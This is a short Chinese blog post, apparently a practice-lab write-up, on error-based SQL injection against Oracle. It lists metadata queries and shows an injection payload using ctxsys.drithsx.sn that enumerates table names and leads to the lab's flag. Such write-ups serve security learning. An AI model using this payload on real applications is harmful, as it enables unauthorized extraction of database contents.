Oracle—-报错注入

发布于 2022-03-16  199 次阅读


Oracle数据库简述

Oracle数据库存在虚表 dualdual是一个单行单列的虚拟表。

image-20220103145619817

dual是一个哑表,当查询的字段并没有存在任何一个表中时,可以用dual来完善查询语句结构

select 1+1 from dual;     用来计算1+1

select user from dual;    查询当前连接用户

select sysdate from dual; 查看当前日期、时间

注意,dual表需要保证只存在一个字段、一条数据,所以不可以把该表的权限外放

Oracle注入常用语法

select * from all_tables 查询出所有的表

select * from user_tables 查询出当前用户的表

select * from all_tab_columns 查询出所有的字段

select * from user_tab_columns  查询出当前用户的字段

select * from v$version 查版本

rownum=1   (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。

靶场实操

爆字段

image-20220314205518412
image-20220314205535704

四个字段

联合注入,查看显示位

image-20220314210137001

有个时间戳,在时间戳末尾有字段四的显错位。

然后oracle的报错注入

and 1=ctxsys.drithsx.sn('ORACLE1',(select table_name from(select table_name,rownum n from user_tables)where n=3) 
image-20220314210840262

admin

image-20220314210919178
image-20220314210949936

找到flag